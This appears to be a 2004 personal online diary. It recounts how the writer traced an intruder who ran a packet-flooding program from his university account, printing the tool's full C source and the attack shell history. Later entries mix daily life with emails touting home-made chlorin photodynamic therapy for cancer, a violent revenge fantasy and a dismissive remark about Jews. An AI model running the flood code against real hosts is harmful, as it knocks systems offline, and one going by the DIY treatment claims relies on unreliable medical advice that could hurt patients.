in it. Here it is. Looking at the variable names whoever wrote it is linguistically fluent with Indonesian. ------------ #include #include #include #include #include #include #define JENIS_PELURU "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" #define UKURAN_PELURU 45 int echo_connect(char *, short); int echo_connect(char *server, short port) { struct sockaddr_in sin; struct hostent *hp; int thesock; printf("\n"); printf("Pasukan..!!!! Tembaaaak %s ke port %d\n", server, port); hp = gethostbyname(server); if (hp==NULL) { printf("Di %s gak ada sasaran, Boss!!\n",server); printf("\n"); exit(0); } bzero((char*) &sin, sizeof(sin)); bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length); sin.sin_family = hp->h_addrtype; sin.sin_port = htons(port); sin.sin_family = hp->h_addrtype; sin.sin_port = htons(port); thesock = socket(AF_INET, SOCK_DGRAM, 0); connect(thesock,(struct sockaddr *) &sin, sizeof(sin)); return thesock; } main(int argc, char **argv) { int s; if(argc != 3) { printf("\n"); printf("Kirim Paket ke IP orang\n\n"); printf("Cara Pake : $ tembak hostname.orang port \n\n"); exit(0); } s=echo_connect(argv[1], atoi(argv[2])); for(;;) { send(s, JENIS_PELURU, UKURAN_PELURU, 0); } } They wrote it in July of 2002... or downloaded it to their directory in 2002. Lots of other uh... interesting tools there. Anyway, what the dude does with his/her freshly compiled tool (note: probably doing CS, knows how to use gcc compiler) is go launch attacks on other machines with it. And read my mail. It's an exploit. 193 gcc -o hajar tembak.c 194 ls 195 w 196 ./hajar 80.144.184.19 51& 197 w 198 pine 199 pine 200 w 201 pine 202 pine 203 w 204 logout 248 logout 249 w 250 cd " " 251 ps x 252 ls 253 w 254 w 255 ./hajar 202.159.50.17 51& 256 w 257 last 258 last | more 259 pine 260 ssh turing <--- interesting. Checked out OK from .history. May be me! 261 exit 310 ls -ld 311 ls -l 312 ls -la p* 313 | more 314 ls -la p* | more 315 w 316 w 317 cd " " 318 ls 319 ./hajar 202.155.38.120 51& 320 w 321 pine 322 w 323 last | more 324 logout 361 cd " " 362 w 363 ls 364 ./hajar 203.173.147.137 51& 365 w 366 pine 367 w 368 logout So here's me tonight: 500 logout 501 passwd <-ahem! 502 last | more <-who else has been on here lately? 503 sudo traceroute 129.94.222.175 <-- I know that machine. 504 pine 505 history | more 506 locate hajar 507 cd /hajar <--- ahh, the spaces! 508 cd "/home/predator/ /hajar" <- it's not a directory its a file. 509 ls -la "/home/predator/ /hajar" <-characterise it 510 pine "/home/predator/ /hajar" <--thinko 511 pico "/home/predator/ /hajar" <-- read it. Executable. Yuk! 512 ls -la "/home/predator/ /hajar" 513 chmod -x "/home/predator/ /hajar" <--- stop its execution. 514 ls -la "/home/predator/ /hajar" <-- check 515 chattr +i "/home/predator/ /hajar"<--freeze it 516 lsattr "/home/predator/ /hajar" <--check frozen 517 cd public_html/ 518 ls 519 ls -lart GENC5001* > lart.txt <--check these havent been 520 ls -lart GENC5001* <-- messed with 521 history 522 history 523 history | more 524 history > history.txt <---interesting footprints! --------------- Access dates (time/datestamp on conway is accurate) of interest from this UNSW terminal are : predator pts/4 129.94.222.175 Thu Feb 26 00:26 - 00:43 (00:16) (this morning, I chopped their session off at 00:43) predator pts/0 129.94.222.175 Sat Feb 21 13:29 - 13:47 (00:18) predator pts/0 129.94.222.175 Fri Feb 20 16:41 - 16:59 (00:18) predator pts/0 129.94.222.175 Fri Feb 20 16:10 - 16:10 (00:00) predator pts/1 129.94.222.175 Thu Feb 19 18:56 - 21:24 (02:27) and... check out those timestamps! Whoever they are has after-hours and weekend access... possibly remotely. I think it's reasonable to assume that whoever is/was doing this will show up today (thurs, 26 Feb) and sit down at exactly the same machine, and attempt to log in (which will show in our logs) to figure out why their remotely installed IRC relay (?) isn't working any more. It's also likely that whoever they are, they obtained my username/password via, say, a sniffer which remains installed on the UNSW machine in question (to which they return many times). Maybe they saw me type it in, which suggests a student of GENC5001. Maybe, their name is Hajar (not super-likely but anyway). Additionally it's likely whoever this is, is not only attacking my system. In any case, all these other places they attack are probably going to have UNSW IP numbers showing up in their logs as well as our IP numbers. Anyway, its 3:30 am and I need sleep now. If other geeks want to poke around and suss out the system, you have my encouragement. ---------------------------------------------------------------------------- ---------------------------------------------------------------------------- They've been chasing him for several months, and he's been denying everything, but it turns out with this evidence in the above posting they comprehensively nailed him that afternoon, cos he did show up at the machine in question just like I said he would. The timestamps point to security camera videos of the labs, so he can be verified sitting in front of a particular machine and launching attacks from it correlating with the conway logs and timestamps on the videos. In all likelihood this means 0) academic misconduct is recorded in his files and fails his degree so 1) he gets expelled from the university and 2) his student visa gets cancelled and 3) he faces computer fraud charges and/or 3) he gets deported anyway. Like, yeah, does the dude think, let's fuck with an account belonging to someone who calls himself predator and see what happens? Geeeenius. When ya log into conway.cat.org.au it sez this: Welcome to Catalyst - do not look into laser with remaining eye. It's a quote from uh.. Isaac Asimov, or is it Robert Heinlein. It has to do with learning from mistakes that have serious penalties attached. He would have seen it five times by now... unless he'd already stared twice into serious lasers. The laser doesn't care (see also geek humour). I sorta do give a fuck but usually only one at a time... while I was uh, non-performing, distracted, in the sack with the cookie manufacturer I was thinking hard about wether to ride over to Randwick and sit down at the adjacent terminal to the one he's stuffed full of hidden 'bots and proxies and um, punch the piss out of him in front of the faculty security cameras once he arrived and started typing things into a shell into my account. No, he didn't fuck up any of my files (they're backed up anyway). He screwed with my account (which is sudo-capable mind you - superuser powers) and screwed with a machine a lot of people depend on. And he read my mail. Prick. And wasted a lot of your time reading about it here. Shayne at the guild at Murdoch says Marc Bell, who eventually nailed this twit, should go easy on him. What do I think? Well, um, fuck him, whoever he is. If Cookie Manufacturer hadn't invited me out for a fat-soaked breakfast in Newtown there'd be a blood-soaked keyboard in Randwick - amongst the prophylactics, massage oil and wireless networking hardware there is a handy two foot length of 2x4 firewood in my backpack. Fortunately for the script-kiddie, buggerall fuel in my 'cycle tank and I was as hungry as hell. Arrrh. Why should I give a fuck any more? Oh, I dunno. Other people are grateful: ------------------------------------------------------------------------------- ------------------------------------------------------------------------------- Date: Thu, 26 Feb 2004 19:51:27 +1100 From: Marc Bell To: predator@cat.org.au Subject: Re: (129.94.222.175) --- Machine with suspicious activity >To: Marc Bell >cc: UNSW Network Security Centre , > Graham Low 26/02/2004 04:41 , Geoff Gordon > , Cong Tran PM , Matthew > Tolhurst > Subject: Re: (129.94.222.175) --- Machine with suspicious activity On Thu, 26 Feb 2004, Marc Bell wrote: >> We got him. >> >> We've actually been tracking this guy for months since we suspected he was >> the one that hacked our labs and got our admin accounts last year. But we >> never had enough proof. But thanks to Predator (Mike? I think we know >> you?), we've nailed it down. > Congratulations - good on ya guys! Persistence pays off. Need a formal > written stat dec about this? Just ask. > Yeah, Mike Carlton's my real name. Don't be fooled by the drive-time AM > radio shock-jock of the same cognomen. Tall, blond-haired, blue-eyed, > black boots and no sense of decorum whatsoever? Yep, that's me. >> We found the lab PC (.175) running IRC and a browser history full of >> proxies and SSH clients, but no person to be seen. The account had been >> logged in since about 9:30pm. As we were discussing this with our IT >> Director (Geoff Gordon), the accused actually came into the lab (we knew >> what he looked like from previous encounters), saw us standing around the >> machine, looked a bit worried, and turned to leave. Geoff called him over, >> and we had some interesting dialogue with the guy. He slipped out that he >> was running bots and sharing software, but insisted it was all a 'game'. >> In the end, we informed him that the PC is under investigation for a security >> breach, and then let him go. It was only after we got back to the office >> that we found Mike's email that pin pointed the time in which the accused >> was logged on to .175, and basically proves it all beyond doubt for us. We > are currently obtaining security camera tapes to hopefully show him sitting > at the PC at the time of the event. > Hmmm. I expect he won't be coming back to .175 rapidly. Did you actually > get a real-world ID on the person in question? Hmmm. May have other > machines similarly doing his bidding if he's been doing this stuff for as > long as you say. >> We've almost had him before, but I think we've got him this time. Thanks go >> to Mike for an email that's got us all very excited down here in the >> commerce lab technical support office! > What?! Isn't my bad Darth Vader voice impersonation good enough? > "Crash the network, Luke. It is your dessss-tiny!" 8-) > Seriously tho, yeah, good on you all for keeping your eyes open and > nabbing the chap... none of you need this hassle. Glad to help you out! >I'm curious to know how he cracked me - sniffer? Keylogger? >> Regards, >> ___________________________________ >> Marc Bell >Be well! > Yep, we thought it was you ;). Anybody trying to hack you is out of their mind in my opinion, you certainly know your stuff. As it turns out, it was his undoing in the end. You provided the missing link. The times in which he was doing the hacking, and from what IP. Us finding his account logged in at that time, on that machine with that IP, and him admitting he was logged in at that time, is all we needed. That's the nail in the coffin. As I mentioned, we've had evidence on this guy before, but he just denied it, and we were left with no way to prove otherwise. He's not the smartest guy around. Initially we tracked him because his proxies he was running on our machines last year were logging everything he was doing. He forgot to untick the box 'Log File' in his little application. From there we worked out where he was, which ultimately led to us getting his student number and address. It turned nasty when he went from running proxy servers and system shut down timers from one other student's account, to cracking other accounts. Our admin accounts were some of them. This he would have done via somehow installing services on our machines that logged keys or sniffed packets. This was all around 6 months ago, and since we couldn't prove anything concrete, we just had to make our systems more secure (which was the only good outcome of the whole thing). Since then, he has only been able to run his applications from his own student account. Once he was logged out, the app stopped running. As for how he cracked your passwords, well it's hard to say. I've only noticed one instance of a machine left logged in running a key logger. Have you possibly used a PC in the lab that was already logged in without logging them out? I would imagine he'd target the tutor machines mainly. Oh by the way, well spotted on the 'indonesian' thing. He is indonesian ;). Thanks again, ___________________________________ Marc Bell, Computer Systems Officer, Technical Support Group Faculty of Commerce and Economics, The University of New South Wales ___________________________________ ------------------------------------------------------------------------------- ------------------------------------------------------------------------------- Well well well. Terminology note: this dude was a cracker, not a hacker. Must Sleep now. Sinful evening tomorrow ;-) ------------ Friday. Nothing to talk about really, 'cept a nice evening snogging Zyn under a fig on the Tarpeian way at Bennelong Point. The possums and fruit bats in the trees freaked her out tho. When I rubbed her tummy my fingers told me of a strange, large mass which has no business being in there. Joss rang up from Scotland and I was out. Mum answered the fone. Say no more. Marg Mayhem, the chick who pays me to stand nakked for three hours in front of a bunch of artistic strangers (and to whom I shall bequeath my dead-tree format pr0n) sent me a great CD of grainy bitmaps of Fuji's Jesus Freak party from a week before I went to hospital. Great images, some of them. I'll slap 'em up on a webpage someplace I think. It's saturday 28. Uh, yeah. I was crappin'on a few pages ago about carbonic anhydrase. It's an enzyme expressed a lot by renal clear tumor cells like mine, for pH regulation reasons. The thought had to do with vaccinating myself against it. Would that be a cretinous idea? Where is it normally in the cell? I was asking myself these questions as I dreamt. I was rudely woken by a cold dog nose in the eyelid. I slept in 'cos I got home at 4am after dropping Zyn at her place in ... South Wentworthville! Holy shit... a long way away. I woke up and walked the dog with the cold nose. On the way home I met a local woman (Cathy) who held a mean-looking aussie bulldog on the end of a lead and a cute looking fluffy poodle thing in her arm. We got chatting on account of how the dogs interacted, which is the usual way of things, and eventually I discovered that, for fuck's sake, her hubby has the same cancer I do and is gettin' the chemo treatment with a free haircut without clippers. I kept my trap shut about how these things don't give a rat's about chemo. So we chatted about the usual boring cancer shit (didn't I mention it takes over your conversation?) while her cute white fluffy kamikazi attack-poodle thing skitzed out at Chloe (who was, as usual, took it with calm dignified aplomb), and her *very* muscular bulldog latched hard onto and started vigourously fucking my right leg. Cathy said he does this to everyone so I shouldn't feel special. The friendly doggie, very persistent, and was seriously enjoying it, too, had his pink out and all. Cath and I kept chatting amidst this melee of bestiality and barking and I eventually gave up trying to dissuade the dog from rooting my calf, so people drove past, looked at this scene and smiled broadly, hooted their horns, etc. I hosed my rather scratched-up leg off as soon as I got home. I know what you're gonna ask me. The answer is no. Dad's bugged me for a few days about going up and checking his server, which according to an employee of his (who, wouldn't ya know it, has appendicitis) has apparently `lost a drive' - which is to say the OS doesn't know where it is any more. I went up today and checked it out, and the fan in the power supply had seized, the machine was hot to the touch, and the 40Gb drive to which they back up their important shit (you know, medical records, accounts, the guts of the business) has been cooked to death. So we shut it down, took it home and I cracked it open. Most people just crack open the main case and never crack open the power supply. I cracked open the power supply too. I reckon if I'd left it another week it'd have started a fire - when the fan siezed, other stuff in the PSU started to cook ... there's charred sections of power supply circuit board, electrolytic capacitors swollen to bursting point, oxides growing on the feeds to the rectifiers, scaldmarks on the cowl. If this thing had arced the vapours from the charring PCB would have lit up. So I swapped it out with the one I fixed in Jan, bolted in a couple of additional big fans on the back of the chassis (ex the DECserver I from which I built the case of my machine), brushed all the dust out of the removable drive bay and CPU heatsink, (I am not sure why but fried dust smells different to regular dust) and dropped in the 13Gb drive I found last week so there can be a backup made right away. It goes, and roars the roar of a box which moves a lot of air. I'm running it overnight for observation. Dad reckoned I should charge him commercially for this (half a grand?) but dad gets mates rates for this one, and I'm happy to do it. Gotta look after each other. Shame about the dead drive. 40Gb down the toilet. Maybe if they'd mounted it lower in the case it wouldn't have cooked. I mounted the replacement a couple of bays down and had the odd thought that this machine's service life will probably exceed mine. Sunday: In memory of trees. The machine sat at room temperature all night, cool as a cucumber by morning. When the oldies went around to my sister's place, I strapped into my harness and got about 14m up the pine tree out the front, which the neighbours want pruned 'cos it drops pine cones in their pool, the poor dears. In the interests of good neighbourly relationships, I togged up in the now frayed and dirty green seatbelt tape Mullet (who died in a 1995 mountaineering accident) cut for me in about 1993, held together by a steel screwgate krab I got in Nepal in 1994. Pines are easy to climb and the sap of this one smelt delightful, hot off the blade of the saw as I cut off the branches. It was a bit of a bugger tho when the gale came. I should have seen it coming, knowing what the clouds look like when the southerlies normally arrive but I was busy paying attention to sawing off the northwestern top branches. I was clipped into both major trunks and self-belaying, so when it hit I quickly hung another sling a bit higher up, stowed the blade below me, on the main length of dyno rope I'd normally used to lower the offcut branches, and just hung on while the tree and I heaved to and fro for about a quarter of an hour. The wind was loud and the tree's groaning noises and funny oscillation harmonics were kind of exhilarating, actually, aside from the odd pine cone in the back of the'ead. I was glad to be roped on, though. I was only a little bit scratched after the front passed. Later on we re-instated dad's server. Walked doggie. Inspected cretinous Sola UPS from Moz - which needs almost total disassembly before you can change the damned batteries. Cleaned beer bottles for the next batch o' home brew then realised I shouldn't drink beer 'cos the carb load feeds the tumor. Gave a USB keyboard to XML and was subsequently, for reasons unrelated to the keyboard, shagged by her - she's doing OK despite fucking up her *other* knee in a motorcycle accident. And on the hunt for a partner in a foursome. You go, girl! Monday. Nosh at Nomes' place - she cooked Jil, Greg and I a delishoyummie chook dinner and I've snarfed a couple of cds of hers for the purpose of copying, because they're copy-controlled (ha ha not) and now I know how to do it. At about 11pm I dropped Joss' books in at Balmain, I let myself in with the key her mum gave me in December, and was also looking for Jude to give me back my copy of TIHKAL. I discovered Carole was killing cockies in the kitchen since to do so at other times of the day brought down the oppropbium of the buddhists on the premises. The problem with Carole, if there is a problem with Carole, is that she refuses to recognise hopeless cases for what they are, and offers me hope where I really don't want any. I will, though, _have a go_ at this oncogenic fucker. She thinks I should chop the neck thing out too. She was gonna send me some phototherapy stuff in the post but I picked it up locally. She writes it's crap, but this is maybe a false alarm on her well-abused bullshit detector. Here's the transcripts of the emails we've sent about it. Phototherapy From predator@cat.org.au Thu Mar 4 02:33:30 2004 Date: Wed, 3 Mar 2004 14:46:47 +1100 (EST) From: predator@cat.org.au To: carole hungerford Subject: phototherapy Hi dude. No, phototherapy is not in my opinion crap, it relies on the patient taking a prodrug, usually a chemical which when bashed with photons of the right wavelength will fall apart into ... guess what .. free radicals! Stuff enough free radicals into a cell and it'll start taking lots of molecular-level damage, as you know (I must chat to you about free-radical polymerisation someday). If this is a tumor cell and you damage it enough, it'll die (not by apoptosis mind you, but usually by necrosis - different processes entirely). Pharmo companies are starting to cash in, if my spy in Sudler.com.au (M.Sc chemist) who does their advertising is to be believed. I think they're peddling the (photodegradative) hydrochloride salt of methylaminolevulinic acid for about $350 a gram at Sigma Aldrich. The light source is some predictably overpriced chunk o' semiconductor. The main wrinkles are: 0) knowing where the damned met is so you can shine yer light on it. 1) using frequencies of light which don't damage molecules in other cells. Red is good for this, since it's e=hv is low since its wavelength is long. Go shining lots of say, hard UV at cells and the nucleotides dimerise, ionise, or otherwise fall to bits, the cells will die or become a tumor. Red is also good since you can generate fairly wavelength-specific red with various kinds of semiconductor light sources (light emitting diodes - well developed tech 30 years old) and if you want super-specific aimable monochromatic phase-locked light, you can use a laser (similar tech as used in laser pointers). I think $1500 for the light source is a disgusting, absolutely outrageous rip off. Trawl the Farnell catalog for such a device as a 2.5 watt red LED with significant emission at 662nm, I bet it won't set you back more than a couple of hundred bucks even without any constant-current driver circuitry - and Farnell are considered expensive by the hobbyist community (I'll go check this now). There's NO need for thermoelectric (peltier) cooling, either, at such low dissipations. I'm off for a look. You don't need laser light to do the photoconversion, just light of the right frequency. Lasers happen to be better to aim and more profitable to sell 8-) (Hmmm... One could get a KTP frequency-doubling crystal and feed it with something of double the wavelength to get the required light too. But that's probably lossy and expensive too) Anyway, looking at the A/wavelength curve you could be about 10nm short or long and still do the work of getting the chlorin to drop a singlet oxygen. I've used real, floor-mounted Erbium lasers which can happily dump a few joules into a 4 x 4 mm area in a fiftieth of a second. Everything dies, to a depth of several mm. No need for such brute force with the prodrugs. I could make chlorin myself with my existing glassware and rusty chemist skills and chems (acetone to extract, HCl to remove Mg, NaOH to saponify) available at Hardwarehouse, from oh, I dunno, grass clippings! I've done all of these sorts of simple workups myself many times. Patents for these reactions are plainly ludicrous and easily circumvented. 2) generating molecules which do in fact get taken up by tumor tissues. Chlorin is a remnant of the standard kinds of metal-complexing porphyrins which litter the photon-capturing machinery of the plant kingdom. In the Russian paper you provided, there's really no need to get the chlorophyll from spirulina (though its convenient). The acetone would pull across a lot of other molecules with it tho, when doing the organic/aqueous phase separation. You can make it from just about any plant with chlorophyll in it (woody plants and cacti not recommended, the extraction is difficult, in my experience). 3) using molecules which arent intrinsically toxic anyway. Porphyrins are normally torn safely to bits by hepatic cytochromes. Don't use this stuff if you're jaundiced tho. The conference looks interesting. But wayyy too costly. Cheeries... -------- From predator@cat.org.au Thu Mar 4 02:33:40 2004 Date: Wed, 3 Mar 2004 23:54:43 +1100 (EST) From: predator@cat.org.au To: carole hungerford Subject: RE: phototherapy On Wed, 3 Mar 2004, carole hungerford wrote: > Well there you go. My bullshit detctor is way too sensitive. Don't knock it - a sensitive bullshit detector is well worth having since there's soooo much concentrated, and sometimes subtle, bullshit out there. Light's just another kind of radiation, in a part of the spectrum for which the tech is well-developed, because it's immediately visible to the naked eye. Since we chem dweebs know how to fabricate bespoke molecules by required bond length, and the semiconductor dweebs know how to dope silicon with atoms which get excited and, in order to relax emit photons at certain frequencies, we can make and destroy molecules photonically pretty much as we please provided we can get 'em where we need 'em. > Maybe I was put off by the marketing technique, and the bad grammar. ...and the rather criminally obscene, marketing-oriented price tags. I just found some good 660nm red diodes in the Farnell catalog optoelectronics section. Peak wavelength 660 (which is 2nm out from what the paper uses, no big deal) 500mCd intensity, 12v feed with internal resistor - these are a budget-smashing $1.15 each. Less in bulk! Farnell PtyLtd operates in Chester Hill, Sydney. Class IIIa 670nm 3mW Lasers are around $500, if a fistful of diodes at similar frequency don't take your fancy. Check out http://www.rcdc.nd.edu/compilations/Qy/QY2.htm for lists of porphyrins which give good yields of singlet oxygen, if that sort of thing interests you 8-) > Eisinger is the urologist interested in cancer and nutrition. I can give > you a referral if you like. I'm interested in all your theories as to > how to manage your cancer, but worry that you are spending a lot of time > theorising, and not acshully doing anything. Mmm. Correct. I am - yes, *defaulting* is the word, I'm sort of resigned to carking it, actually, which permits me to be stably elsewhere, unworried, out having a life 8-) PET ... hmmm... suppose it could see down to 3 cells, that's several million images to process - somehow I think not. If it could see down to 3mm, that's more plausible. The neck's already been CT'd (encapsulated lymph node, no spread), the lump is smaller now than it was then, but larger now than it was when FNAB'd on Jan 16th. > Apparently Keith is trying to call me, talk later. No worries. Catch ya later. > Carole ;) -------- It must be a bugger to be a doctor when a patient is uninterested in trying very hard to get well cos they've gone and got what appears to be a reasonable clue about what's killing 'em. I keep getting details-free emails about a mysterious expedition people want me to go on but which nobody'll tell me about. Tues. I went out to Randwick. I saw Mary who is bright as a button today though she sez she's not well. Amazingly an old squatmate of mine, Elias, was riding his bicycle up through Bronte and spotted me, with my helmet and everything on... hes pretty well. We stopped on the roadside briefly for a chat. I was wearing the leather jacket he gave me in oh, 2001. He's riding a very nice bicycle now, and I think working as a cook, and scoring surplus Macintrash obtainium from an abandoned hospital somewhere in the city. I dropped in at UNSW on the way back. The IT director Geoff Gordon wants to hang the .. ahem ... The Cracker... out to dry, and I'm happy to help him. I checked out the auth.logs, /var/log/messages, the syslogs, and did a bit of benchtesting of the code which, impersonating me, he ran. But he'd better hurry up. I'd be his star witness if the head of school and associate Dean decide to prosecute the wanker, and I'm no good to them dead. The cracker was launching attacks from my machine, against port 51 on a few machines - one in Sydney, a couple of sites in Indonesia (indo.net, and indosat.net) and also somewhere in Germany. While the program was running it maxed-out the hub and ate up 94% of conway's CPU. Prick. I'm not dead sure he ever managed to get his mIRC proxy running - too hard to configure from the command line. While I was in the general vicinity of Randwick I picked up a photocopy of the document I sort of, more or less, consider to be my death sentence, the original of which came from Douglas Hanley Moir pathology. I'd left it in the care of Dave Goldstein, who I saw six weeks ago. He also said that in my neck was nothing but the usual kinds of cells you'd expect from a garden variety metastatic kidney cancer. Makes me want to take up slasn-n-burn agriculture 8-). I'm gonna wave this under the noses of the gits at APRA. Dr Goldstein's upcoming trial starts at the end of March. I don't know what it is yet and there's no proposal written yet. For all I know I might be dead by the end of it. I got home early Wednesday morning and had sharp lower left lung pains which increased when I breathed in. I'd just finished reading Iain Banks "The Player Of Games" (and what a twist at the end!), and this jabbing pain happens. Probably mets invading my lungs, fuckers. When I woke up they were gone. Cancer fucks with your head... in the sense that every time something randomly hurts without provocation, you think, oh, it's *there* now. Prick. ---------- Electronic iatrogenesis. Last time I was at Turella Soz (to whom I will loan my motorcycle for the Dykes on Bikes parade during the Mardi Gras on saturday night) gave me a 10/100mbit hub, which she felt was flaky. It was too, after running for a long time - which is to say, it was overheated. I took it home, tested it and yeah, it did indeed get hot and flaky. This is cos the main CPU, something which came from the LEVEL ONE VLSI chip foundry, is heatsunk - but inside a metal small box with no fan. I tried to pry off the heatsink in order to replace it with some solid Al blocks to thermally couple the chip to the case, but the damn thing peeled right off the PCB in one hit. I am incapable of accurately soldering down 204 bent pins (a machine soldered it all on in the first place) so I admitted defeat and tossed it. Maybe I shouldda just drilled lotsa holes in the case. Oh well. Some, I do lose. At least it wasn't a switch. Passion of christ. I went and saw this with the parents. I was gonna wear my Children Born of Satan shirt but it dissolved last time I washed it. Yawn. I shed no tears. And, as I remember from what I learned in Rome in 1981 as a youngster the Romans were better anatomists than to have their soldiers go nailing people through the hands, they'da gone through something load-supporting, like between the radius and ulna. Mel Gibson is to be congratulated on producing a movie which is going to damage people's brains for the remaining period of time in which this civilisation has a functional electricity grid. Oh, it was so realistic, it must have happened, right? Yep. But so what? Hundreds of thousands of cambodians and vietnamese, maimed by napalm, bomb fragments or chemically impaired by synthetic side-product in the defoliants dropped by the Yanks on those countries in the late 1960s, took *years* to die, painfully, of their injuries. A Jewish mate of dad's reckons the movie is anti-semitic. Oh, for shit's sake I'm bored of the semites complaining that their perception of everyone who doesn't depict semites as lovable, error-free, uh... ubermenschen is somehow anti-semitic. If anything the flick it's anti-human-species-in-general - the romans were brutal, the semites were shrewd, and these two things pretty much sum up the curse which is the human condition everywhere generally to various extents. Anyway... any bunch of people who go around saying "you're anti-us" is gonna find that by the mere virtue of saying this the saying will become true. People get annoyed by the accusation. Any culture that kills people's gonna make itself unpopular eventually by nailing some loon who claims to be a god and will make 'em more popular by doing it. And think about it, reader. The next person you meet on the road who claims to be Jesus Christ is, playing the odds and mis-quoting Python, probably not even a messiah, let alone a particular messiah. Try, prime candidate for the loony bin. You'd decide to waste the dude even more straightforwardly as the Jews or the Romans did, who played the same administrative buck-passing games as we do with condemned prisoners now. Come to think of it, if you or the Romans or the Jews met the Buddha on the road, you'd kill him too. S/he talks in riddles, is of indeterminate gender and looks like he eats way too much. Thurs. Mar4 This is a looonger file than the last one, mainly 'cos of the transcripts of conversations I'm having with various people - the evidence of my electronic life. I'm gonna trunc it and start on another one. If you don't get the following file it's not on the server yet. Be patient 8-) http://conway.cat.org.au/~predator/march.txt